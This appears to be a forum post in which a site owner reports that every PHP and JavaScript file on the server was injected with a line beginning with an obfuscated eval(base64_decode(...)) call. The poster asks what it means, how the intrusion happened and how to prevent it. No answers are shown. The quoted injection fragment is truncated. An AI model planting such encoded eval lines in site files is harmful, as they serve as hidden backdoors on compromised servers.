I Found a problem on my site and when i compare the files on the server with my local files i found that every page (*.js or *.php) has this line on it
<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKC
or a javascript line
so i knew that my site has been hacked..
so
1 - i want to know how to prevent anyone to hack my site?
i made on every textfield or textarea on posting or getting it the htmlspecialcharacter($_POST)
is this true? and can it help me?
2- how did anyone hack my site??
3- how i can know what does this code mean???
Help me please.